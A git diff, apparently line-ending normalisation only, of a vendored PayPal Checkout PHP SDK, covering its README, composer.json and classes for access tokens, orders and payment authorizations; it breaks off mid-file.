SDK for PHP V2 - -![Home Image](homepage.jpg) - -### To consolidate support across various channels, we have currently turned off the feature of GitHub issues. Please visit https://www.paypal.com/support to submit your request or ask questions within our community forum. - -__Welcome to PayPal PHP SDK__. This repository contains PayPal's PHP SDK and samples for [v2/checkout/orders](https://developer.paypal.com/docs/api/orders/v2/) and [v2/payments](https://developer.paypal.com/docs/api/payments/v2/) APIs. - -This is a part of the next major PayPal SDK. It includes a simplified interface to only provide simple model objects and blueprints for HTTP calls. This repo currently contains functionality for PayPal Checkout APIs which includes [Orders V2](https://developer.paypal.com/docs/api/orders/v2/) and [Payments V2](https://developer.paypal.com/docs/api/payments/v2/). - -Please refer to the [PayPal Checkout Integration Guide](https://developer.paypal.com/docs/checkout/) for more information. Also refer to [Setup your SDK](https://developer.paypal.com/docs/checkout/reference/server-integration/setup-sdk/) for additional information about setting up the SDK's. -## Latest Updates -Beginning January 2020, PayPal will require an update on the Personal Home Page (PHP) Checkout Software Developer Kit (SDK) to version 1.0.1. Merchants who have not updated their PHP Checkout SDK to version 1.0.1 will not be able to deserialize responses using outdated SDK integrations. -All PHP Checkout SDK integrations are expected to be updated by March 1, 2020. Merchants are encouraged to prepare for the update as soon as possible to avoid possible service disruption. -The Status Page has been updated with this information. The bulletin can be found [here](https://www.paypal-status.com/history/eventdetails/11015) - -## Prerequisites - -PHP 5.6 and above - -An environment which supports TLS 1.2 (see the TLS-update site for more information) - -## Usage - -### Binaries - -It is not mandatory to fork this repository for using the PayPal SDK. You can refer [PayPal Checkout Server SDK](https://developer.paypal.com/docs/checkout/reference/server-integration) for configuring and working with SDK without forking this code. - -For contributing or referring the samples, You can fork/refer this repository. - -### Setting up credentials -Get client ID and client secret by going to https://developer.paypal.com/developer/applications and generating a REST API app. Get Client ID and Secret from there. - -```php -require __DIR__ . '/vendor/autoload.php'; -use PayPalCheckoutSdk\Core\PayPalHttpClient; -use PayPalCheckoutSdk\Core\SandboxEnvironment; -// Creating an environment -$clientId = "<>"; -$clientSecret = "<>"; - -$environment = new SandboxEnvironment($clientId, $clientSecret); -$client = new PayPalHttpClient($environment); -``` - -## Examples -### Creating an Order -#### Code: -```php -// Construct a request object and set desired parameters -// Here, OrdersCreateRequest() creates a POST request to /v2/checkout/orders -use PayPalCheckoutSdk\Orders\OrdersCreateRequest; -$request = new OrdersCreateRequest(); -$request->prefer('return=representation'); -$request->body = [ - "intent" => "CAPTURE", - "purchase_units" => [[ - "reference_id" => "test_ref_id1", - "amount" => [ - "value" => "100.00", - "currency_code" => "USD" - ] - ]], - "application_context" => [ - "cancel_url" => "https://example.com/cancel", - "return_url" => "https://example.com/return" - ] - ]; - -try { - // Call API with your client and get a response for your call - $response = $client->execute($request); - - // If call returns body in response, you can get the deserialized version from the result attribute of the response - print_r($response); -}catch (HttpException $ex) { - echo $ex->statusCode; - print_r($ex->getMessage()); -} -``` -#### Example Output: -``` -Status Code: 201 -Id: 8GB67279RC051624C -Intent: CAPTURE -Gross_amount: - Currency_code: USD - Value: 100.00 -Purchase_units: - 1: - Amount: - Currency_code: USD - Value: 100.00 -Create_time: 2018-08-06T23:34:31Z -Links: - 1: - Href: https://api.sandbox.paypal.com/v2/checkout/orders/8GB67279RC051624C - Rel: self - Method: GET - 2: - Href: https://www.sandbox.paypal.com/checkoutnow?token=8GB67279RC051624C - Rel: approve - Method: GET - 3: - Href: https://api.sandbox.paypal.com/v2/checkout/orders/8GB67279RC051624C/capture - Rel: capture - Method: POST -Status: CREATED -``` - -## Capturing an Order -Before capture, Order should be approved by the buyer using the approval URL returned in the create order response. -### Code to Execute: -```php -use PayPalCheckoutSdk\Orders\OrdersCaptureRequest; -// Here, OrdersCaptureRequest() creates a POST request to /v2/checkout/orders -// $response->result->id gives the orderId of the order created above -$request = new OrdersCaptureRequest("APPROVED-ORDER-ID"); -$request->prefer('return=representation'); -try { - // Call API with your client and get a response for your call - $response = $client->execute($request); - - // If call returns body in response, you can get the deserialized version from the result attribute of the response - print_r($response); -}catch (HttpException $ex) { - echo $ex->statusCode; - print_r($ex->getMessage()); -} -``` - -#### Example Output: -``` -Status Code: 201 -Id: 8GB67279RC051624C -Create_time: 2018-08-06T23:39:11Z -Update_time: 2018-08-06T23:39:11Z -Payer: - Name: - Given_name: test - Surname: buyer - Email_address: test-buyer@paypal.com - Payer_id: KWADC7LXRRWCE - Phone: - Phone_number: - National_number: 408-411-2134 - Address: - Country_code: US -Links: - 1: - Href: https://api.sandbox.paypal.com/v2/checkout/orders/3L848818A2897925Y - Rel: self - Method: GET -Status: COMPLETED -``` - -## Running tests - -To run integration tests using your client id and secret, clone this repository and run the following command: -```sh -$ composer install -$ CLIENT_ID=YOUR_SANDBOX_CLIENT_ID CLIENT_SECRET=OUR_SANDBOX_CLIENT_SECRET composer integration -``` - -## Samples - -You can start off by trying out [creating and capturing an order](/samples/CaptureIntentExamples/RunAll.php) - -To try out different samples for both create and authorize intent check [this link](/samples) - -Note: Update the `PayPalClient.php` with your sandbox client credentials or pass your client credentials as environment variable while executing the samples. - - -## License -Code released under [SDK LICENSE](LICENSE) +# REST API SDK for PHP V2 + +![Home Image](homepage.jpg) + +### To consolidate support across various channels, we have currently turned off the feature of GitHub issues. Please visit https://www.paypal.com/support to submit your request or ask questions within our community forum. + +__Welcome to PayPal PHP SDK__. This repository contains PayPal's PHP SDK and samples for [v2/checkout/orders](https://developer.paypal.com/docs/api/orders/v2/) and [v2/payments](https://developer.paypal.com/docs/api/payments/v2/) APIs. + +This is a part of the next major PayPal SDK. It includes a simplified interface to only provide simple model objects and blueprints for HTTP calls. This repo currently contains functionality for PayPal Checkout APIs which includes [Orders V2](https://developer.paypal.com/docs/api/orders/v2/) and [Payments V2](https://developer.paypal.com/docs/api/payments/v2/). + +Please refer to the [PayPal Checkout Integration Guide](https://developer.paypal.com/docs/checkout/) for more information. Also refer to [Setup your SDK](https://developer.paypal.com/docs/checkout/reference/server-integration/setup-sdk/) for additional information about setting up the SDK's. +## Latest Updates +Beginning January 2020, PayPal will require an update on the Personal Home Page (PHP) Checkout Software Developer Kit (SDK) to version 1.0.1. Merchants who have not updated their PHP Checkout SDK to version 1.0.1 will not be able to deserialize responses using outdated SDK integrations. +All PHP Checkout SDK integrations are expected to be updated by March 1, 2020. Merchants are encouraged to prepare for the update as soon as possible to avoid possible service disruption. +The Status Page has been updated with this information. The bulletin can be found [here](https://www.paypal-status.com/history/eventdetails/11015) + +## Prerequisites + +PHP 5.6 and above + +An environment which supports TLS 1.2 (see the TLS-update site for more information) + +## Usage + +### Binaries + +It is not mandatory to fork this repository for using the PayPal SDK. You can refer [PayPal Checkout Server SDK](https://developer.paypal.com/docs/checkout/reference/server-integration) for configuring and working with SDK without forking this code. + +For contributing or referring the samples, You can fork/refer this repository. + +### Setting up credentials +Get client ID and client secret by going to https://developer.paypal.com/developer/applications and generating a REST API app. Get Client ID and Secret from there. + +```php +require __DIR__ . '/vendor/autoload.php'; +use PayPalCheckoutSdk\Core\PayPalHttpClient; +use PayPalCheckoutSdk\Core\SandboxEnvironment; +// Creating an environment +$clientId = "<>"; +$clientSecret = "<>"; + +$environment = new SandboxEnvironment($clientId, $clientSecret); +$client = new PayPalHttpClient($environment); +``` + +## Examples +### Creating an Order +#### Code: +```php +// Construct a request object and set desired parameters +// Here, OrdersCreateRequest() creates a POST request to /v2/checkout/orders +use PayPalCheckoutSdk\Orders\OrdersCreateRequest; +$request = new OrdersCreateRequest(); +$request->prefer('return=representation'); +$request->body = [ + "intent" => "CAPTURE", + "purchase_units" => [[ + "reference_id" => "test_ref_id1", + "amount" => [ + "value" => "100.00", + "currency_code" => "USD" + ] + ]], + "application_context" => [ + "cancel_url" => "https://example.com/cancel", + "return_url" => "https://example.com/return" + ] + ]; + +try { + // Call API with your client and get a response for your call + $response = $client->execute($request); + + // If call returns body in response, you can get the deserialized version from the result attribute of the response + print_r($response); +}catch (HttpException $ex) { + echo $ex->statusCode; + print_r($ex->getMessage()); +} +``` +#### Example Output: +``` +Status Code: 201 +Id: 8GB67279RC051624C +Intent: CAPTURE +Gross_amount: + Currency_code: USD + Value: 100.00 +Purchase_units: + 1: + Amount: + Currency_code: USD + Value: 100.00 +Create_time: 2018-08-06T23:34:31Z +Links: + 1: + Href: https://api.sandbox.paypal.com/v2/checkout/orders/8GB67279RC051624C + Rel: self + Method: GET + 2: + Href: https://www.sandbox.paypal.com/checkoutnow?token=8GB67279RC051624C + Rel: approve + Method: GET + 3: + Href: https://api.sandbox.paypal.com/v2/checkout/orders/8GB67279RC051624C/capture + Rel: capture + Method: POST +Status: CREATED +``` + +## Capturing an Order +Before capture, Order should be approved by the buyer using the approval URL returned in the create order response. +### Code to Execute: +```php +use PayPalCheckoutSdk\Orders\OrdersCaptureRequest; +// Here, OrdersCaptureRequest() creates a POST request to /v2/checkout/orders +// $response->result->id gives the orderId of the order created above +$request = new OrdersCaptureRequest("APPROVED-ORDER-ID"); +$request->prefer('return=representation'); +try { + // Call API with your client and get a response for your call + $response = $client->execute($request); + + // If call returns body in response, you can get the deserialized version from the result attribute of the response + print_r($response); +}catch (HttpException $ex) { + echo $ex->statusCode; + print_r($ex->getMessage()); +} +``` + +#### Example Output: +``` +Status Code: 201 +Id: 8GB67279RC051624C +Create_time: 2018-08-06T23:39:11Z +Update_time: 2018-08-06T23:39:11Z +Payer: + Name: + Given_name: test + Surname: buyer + Email_address: test-buyer@paypal.com + Payer_id: KWADC7LXRRWCE + Phone: + Phone_number: + National_number: 408-411-2134 + Address: + Country_code: US +Links: + 1: + Href: https://api.sandbox.paypal.com/v2/checkout/orders/3L848818A2897925Y + Rel: self + Method: GET +Status: COMPLETED +``` + +## Running tests + +To run integration tests using your client id and secret, clone this repository and run the following command: +```sh +$ composer install +$ CLIENT_ID=YOUR_SANDBOX_CLIENT_ID CLIENT_SECRET=OUR_SANDBOX_CLIENT_SECRET composer integration +``` + +## Samples + +You can start off by trying out [creating and capturing an order](/samples/CaptureIntentExamples/RunAll.php) + +To try out different samples for both create and authorize intent check [this link](/samples) + +Note: Update the `PayPalClient.php` with your sandbox client credentials or pass your client credentials as environment variable while executing the samples. + + +## License +Code released under [SDK LICENSE](LICENSE) diff --git a/vendor/paypal/paypal-checkout-sdk/composer.json b/vendor/paypal/paypal-checkout-sdk/composer.json index b8682d4538..fa46c59637 100644 --- a/vendor/paypal/paypal-checkout-sdk/composer.json +++ b/vendor/paypal/paypal-checkout-sdk/composer.json @@ -1,35 +1,35 @@ -{ - "name": "paypal/paypal-checkout-sdk", - "description": "PayPal's PHP SDK for Checkout REST APIs", - "keywords": ["paypal", "payments", "rest", "sdk", "orders", "checkout"], - "type": "library", - "license": "https://github.com/paypal/Checkout-PHP-SDK/blob/master/LICENSE", - "homepage": "http://github.com/paypal/Checkout-PHP-SDK/", - "require": { - "paypal/paypalhttp": "1.0.1" - }, - "authors": [ - { - "name": "PayPal", - "homepage": "https://github.com/paypal/Checkout-PHP-SDK/contributors" - } - ], - "require-dev": { - "phpunit/phpunit": "^5.7" - }, - "autoload": { - "psr-4": { - "PayPalCheckoutSdk\\": "lib/PayPalCheckoutSdk", - "Sample\\":"samples/" - } - }, - "autoload-dev": { - "psr-4": { - "Test\\":"tests/" - } - }, - "scripts": { - "unit": "phpunit --testsuite unit", - "integration": "phpunit --testsuite integration" - } -} +{ + "name": "paypal/paypal-checkout-sdk", + "description": "PayPal's PHP SDK for Checkout REST APIs", + "keywords": ["paypal", "payments", "rest", "sdk", "orders", "checkout"], + "type": "library", + "license": "https://github.com/paypal/Checkout-PHP-SDK/blob/master/LICENSE", + "homepage": "http://github.com/paypal/Checkout-PHP-SDK/", + "require": { + "paypal/paypalhttp": "1.0.1" + }, + "authors": [ + { + "name": "PayPal", + "homepage": "https://github.com/paypal/Checkout-PHP-SDK/contributors" + } + ], + "require-dev": { + "phpunit/phpunit": "^5.7" + }, + "autoload": { + "psr-4": { + "PayPalCheckoutSdk\\": "lib/PayPalCheckoutSdk", + "Sample\\":"samples/" + } + }, + "autoload-dev": { + "psr-4": { + "Test\\":"tests/" + } + }, + "scripts": { + "unit": "phpunit --testsuite unit", + "integration": "phpunit --testsuite integration" + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/gen.yml b/vendor/paypal/paypal-checkout-sdk/gen.yml index ac7bd869c5..b6f3f794d8 100644 --- a/vendor/paypal/paypal-checkout-sdk/gen.yml +++ b/vendor/paypal/paypal-checkout-sdk/gen.yml @@ -1,6 +1,6 @@ ---- -projectName: PayPalCheckoutSdk -language: php -sourcePath: lib/PayPalCheckoutSdk -testPath: tests -apiVersioning: false +--- +projectName: PayPalCheckoutSdk +language: php +sourcePath: lib/PayPalCheckoutSdk +testPath: tests +apiVersioning: false diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AccessToken.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AccessToken.php index 521429ac18..b6f1d2d61a 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AccessToken.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AccessToken.php @@ -1,25 +1,25 @@ -token = $token; - $this->tokenType = $tokenType; - $this->expiresIn = $expiresIn; - $this->createDate = time(); - } - - public function isExpired() - { - return time() >= $this->createDate + $this->expiresIn; - } +token = $token; + $this->tokenType = $tokenType; + $this->expiresIn = $expiresIn; + $this->createDate = time(); + } + + public function isExpired() + { + return time() >= $this->createDate + $this->expiresIn; + } } \ No newline at end of file diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AccessTokenRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AccessTokenRequest.php index 9205aaec39..5c3e26e5e3 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AccessTokenRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AccessTokenRequest.php @@ -1,27 +1,27 @@ -headers["Authorization"] = "Basic " . $environment->authorizationString(); - $body = [ - "grant_type" => "client_credentials" - ]; - - if (!is_null($refreshToken)) - { - $body["grant_type"] = "refresh_token"; - $body["refresh_token"] = $refreshToken; - } - - $this->body = $body; - $this->headers["Content-Type"] = "application/x-www-form-urlencoded"; - } -} - +headers["Authorization"] = "Basic " . $environment->authorizationString(); + $body = [ + "grant_type" => "client_credentials" + ]; + + if (!is_null($refreshToken)) + { + $body["grant_type"] = "refresh_token"; + $body["refresh_token"] = $refreshToken; + } + + $this->body = $body; + $this->headers["Content-Type"] = "application/x-www-form-urlencoded"; + } +} + diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AuthorizationInjector.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AuthorizationInjector.php index 5c966aa9c6..0b38bba940 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AuthorizationInjector.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/AuthorizationInjector.php @@ -1,51 +1,51 @@ -client = $client; - $this->environment = $environment; - $this->refreshToken = $refreshToken; - } - - public function inject($request) - { - if (!$this->hasAuthHeader($request) && !$this->isAuthRequest($request)) - { - if (is_null($this->accessToken) || $this->accessToken->isExpired()) - { - $this->accessToken = $this->fetchAccessToken(); - } - $request->headers['Authorization'] = 'Bearer ' . $this->accessToken->token; - } - } - - private function fetchAccessToken() - { - $accessTokenResponse = $this->client->execute(new AccessTokenRequest($this->environment, $this->refreshToken)); - $accessToken = $accessTokenResponse->result; - return new AccessToken($accessToken->access_token, $accessToken->token_type, $accessToken->expires_in); - } - - private function isAuthRequest($request) - { - return $request instanceof AccessTokenRequest || $request instanceof RefreshTokenRequest; - } - - private function hasAuthHeader(HttpRequest $request) - { - return array_key_exists("Authorization", $request->headers); - } -} +client = $client; + $this->environment = $environment; + $this->refreshToken = $refreshToken; + } + + public function inject($request) + { + if (!$this->hasAuthHeader($request) && !$this->isAuthRequest($request)) + { + if (is_null($this->accessToken) || $this->accessToken->isExpired()) + { + $this->accessToken = $this->fetchAccessToken(); + } + $request->headers['Authorization'] = 'Bearer ' . $this->accessToken->token; + } + } + + private function fetchAccessToken() + { + $accessTokenResponse = $this->client->execute(new AccessTokenRequest($this->environment, $this->refreshToken)); + $accessToken = $accessTokenResponse->result; + return new AccessToken($accessToken->access_token, $accessToken->token_type, $accessToken->expires_in); + } + + private function isAuthRequest($request) + { + return $request instanceof AccessTokenRequest || $request instanceof RefreshTokenRequest; + } + + private function hasAuthHeader(HttpRequest $request) + { + return array_key_exists("Authorization", $request->headers); + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/FPTIInstrumentationInjector.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/FPTIInstrumentationInjector.php index bad8a35aa9..9cd8836e05 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/FPTIInstrumentationInjector.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/FPTIInstrumentationInjector.php @@ -1,16 +1,16 @@ -headers["sdk_name"] = "Checkout SDK"; - $request->headers["sdk_version"] = "1.0.2"; - $request->headers["sdk_tech_stack"] = "PHP " . PHP_VERSION; - $request->headers["api_integration_type"] = "PAYPALSDK"; - } -} +headers["sdk_name"] = "Checkout SDK"; + $request->headers["sdk_version"] = "1.0.2"; + $request->headers["sdk_tech_stack"] = "PHP " . PHP_VERSION; + $request->headers["api_integration_type"] = "PAYPALSDK"; + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/GzipInjector.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/GzipInjector.php index f1d43396d5..202b6b1d5a 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/GzipInjector.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/GzipInjector.php @@ -1,14 +1,14 @@ -headers["Accept-Encoding"] = "gzip"; - } -} +headers["Accept-Encoding"] = "gzip"; + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/PayPalEnvironment.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/PayPalEnvironment.php index f9eff1ca2e..252864bb92 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/PayPalEnvironment.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/PayPalEnvironment.php @@ -1,23 +1,23 @@ -clientId = $clientId; - $this->clientSecret = $clientSecret; - } - - public function authorizationString() - { - return base64_encode($this->clientId . ":" . $this->clientSecret); - } -} - +clientId = $clientId; + $this->clientSecret = $clientSecret; + } + + public function authorizationString() + { + return base64_encode($this->clientId . ":" . $this->clientSecret); + } +} + diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/PayPalHttpClient.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/PayPalHttpClient.php index 699cc0e60a..3b3c20574d 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/PayPalHttpClient.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/PayPalHttpClient.php @@ -1,27 +1,27 @@ -refreshToken = $refreshToken; - $this->authInjector = new AuthorizationInjector($this, $environment, $refreshToken); - $this->addInjector($this->authInjector); - $this->addInjector(new GzipInjector()); - $this->addInjector(new FPTIInstrumentationInjector()); - } - - public function userAgent() - { - return UserAgent::getValue(); - } -} - +refreshToken = $refreshToken; + $this->authInjector = new AuthorizationInjector($this, $environment, $refreshToken); + $this->addInjector($this->authInjector); + $this->addInjector(new GzipInjector()); + $this->addInjector(new FPTIInstrumentationInjector()); + } + + public function userAgent() + { + return UserAgent::getValue(); + } +} + diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/ProductionEnvironment.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/ProductionEnvironment.php index e3635fce44..20a47b2d50 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/ProductionEnvironment.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/ProductionEnvironment.php @@ -1,16 +1,16 @@ -headers["Authorization"] = "Basic " . $environment->authorizationString(); - $this->headers["Content-Type"] = "application/x-www-form-urlencoded"; - $this->body = [ - "grant_type" => "authorization_code", - "code" => $authorizationCode - ]; - } -} +headers["Authorization"] = "Basic " . $environment->authorizationString(); + $this->headers["Content-Type"] = "application/x-www-form-urlencoded"; + $this->body = [ + "grant_type" => "authorization_code", + "code" => $authorizationCode + ]; + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/SandboxEnvironment.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/SandboxEnvironment.php index 11fd3462b2..92c1f7afc1 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/SandboxEnvironment.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Core/SandboxEnvironment.php @@ -1,16 +1,16 @@ -path = str_replace("{order_id}", urlencode($orderId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - - public function payPalClientMetadataId($payPalClientMetadataId) - { - $this->headers["PayPal-Client-Metadata-Id"] = $payPalClientMetadataId; - } - public function payPalRequestId($payPalRequestId) - { - $this->headers["PayPal-Request-Id"] = $payPalRequestId; - } - public function prefer($prefer) - { - $this->headers["Prefer"] = $prefer; - } -} +path = str_replace("{order_id}", urlencode($orderId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + + public function payPalClientMetadataId($payPalClientMetadataId) + { + $this->headers["PayPal-Client-Metadata-Id"] = $payPalClientMetadataId; + } + public function payPalRequestId($payPalRequestId) + { + $this->headers["PayPal-Request-Id"] = $payPalRequestId; + } + public function prefer($prefer) + { + $this->headers["Prefer"] = $prefer; + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersCaptureRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersCaptureRequest.php index 38b32d274d..8af8a60fba 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersCaptureRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersCaptureRequest.php @@ -1,37 +1,37 @@ -path = str_replace("{order_id}", urlencode($orderId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - - public function payPalClientMetadataId($payPalClientMetadataId) - { - $this->headers["PayPal-Client-Metadata-Id"] = $payPalClientMetadataId; - } - public function payPalRequestId($payPalRequestId) - { - $this->headers["PayPal-Request-Id"] = $payPalRequestId; - } - public function prefer($prefer) - { - $this->headers["Prefer"] = $prefer; - } -} +path = str_replace("{order_id}", urlencode($orderId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + + public function payPalClientMetadataId($payPalClientMetadataId) + { + $this->headers["PayPal-Client-Metadata-Id"] = $payPalClientMetadataId; + } + public function payPalRequestId($payPalRequestId) + { + $this->headers["PayPal-Request-Id"] = $payPalRequestId; + } + public function prefer($prefer) + { + $this->headers["Prefer"] = $prefer; + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersCreateRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersCreateRequest.php index 0f75e8164c..0d9f5a9130 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersCreateRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersCreateRequest.php @@ -1,31 +1,31 @@ -headers["Content-Type"] = "application/json"; - } - - - public function payPalPartnerAttributionId($payPalPartnerAttributionId) - { - $this->headers["PayPal-Partner-Attribution-Id"] = $payPalPartnerAttributionId; - } - public function prefer($prefer) - { - $this->headers["Prefer"] = $prefer; - } -} +headers["Content-Type"] = "application/json"; + } + + + public function payPalPartnerAttributionId($payPalPartnerAttributionId) + { + $this->headers["PayPal-Partner-Attribution-Id"] = $payPalPartnerAttributionId; + } + public function prefer($prefer) + { + $this->headers["Prefer"] = $prefer; + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersGetRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersGetRequest.php index cce386449c..3d1c8f1284 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersGetRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersGetRequest.php @@ -1,26 +1,26 @@ -path = str_replace("{order_id}", urlencode($orderId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - - -} +path = str_replace("{order_id}", urlencode($orderId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + + +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersPatchRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersPatchRequest.php index 5ca5963bf8..4313c423c2 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersPatchRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersPatchRequest.php @@ -1,26 +1,26 @@ -path = str_replace("{order_id}", urlencode($orderId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - - -} +path = str_replace("{order_id}", urlencode($orderId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + + +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersValidateRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersValidateRequest.php index b9b4cf7874..0a68f90d3d 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersValidateRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Orders/OrdersValidateRequest.php @@ -1,29 +1,29 @@ -path = str_replace("{order_id}", urlencode($orderId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - - public function payPalClientMetadataId($payPalClientMetadataId) - { - $this->headers["PayPal-Client-Metadata-Id"] = $payPalClientMetadataId; - } -} +path = str_replace("{order_id}", urlencode($orderId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + + public function payPalClientMetadataId($payPalClientMetadataId) + { + $this->headers["PayPal-Client-Metadata-Id"] = $payPalClientMetadataId; + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsCaptureRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsCaptureRequest.php index a6f8b5f29e..68d5e81bd9 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsCaptureRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsCaptureRequest.php @@ -1,33 +1,33 @@ -path = str_replace("{authorization_id}", urlencode($authorizationId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - - public function payPalRequestId($payPalRequestId) - { - $this->headers["PayPal-Request-Id"] = $payPalRequestId; - } - public function prefer($prefer) - { - $this->headers["Prefer"] = $prefer; - } -} +path = str_replace("{authorization_id}", urlencode($authorizationId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + + public function payPalRequestId($payPalRequestId) + { + $this->headers["PayPal-Request-Id"] = $payPalRequestId; + } + public function prefer($prefer) + { + $this->headers["Prefer"] = $prefer; + } +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsGetRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsGetRequest.php index 01632abd5d..e088224ae4 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsGetRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsGetRequest.php @@ -1,25 +1,25 @@ -path = str_replace("{authorization_id}", urlencode($authorizationId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - -} +path = str_replace("{authorization_id}", urlencode($authorizationId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + +} diff --git a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsReauthorizeRequest.php b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsReauthorizeRequest.php index 309b9675e0..7547ece5bb 100644 --- a/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsReauthorizeRequest.php +++ b/vendor/paypal/paypal-checkout-sdk/lib/PayPalCheckoutSdk/Payments/AuthorizationsReauthorizeRequest.php @@ -1,33 +1,33 @@ -path = str_replace("{authorization_id}", 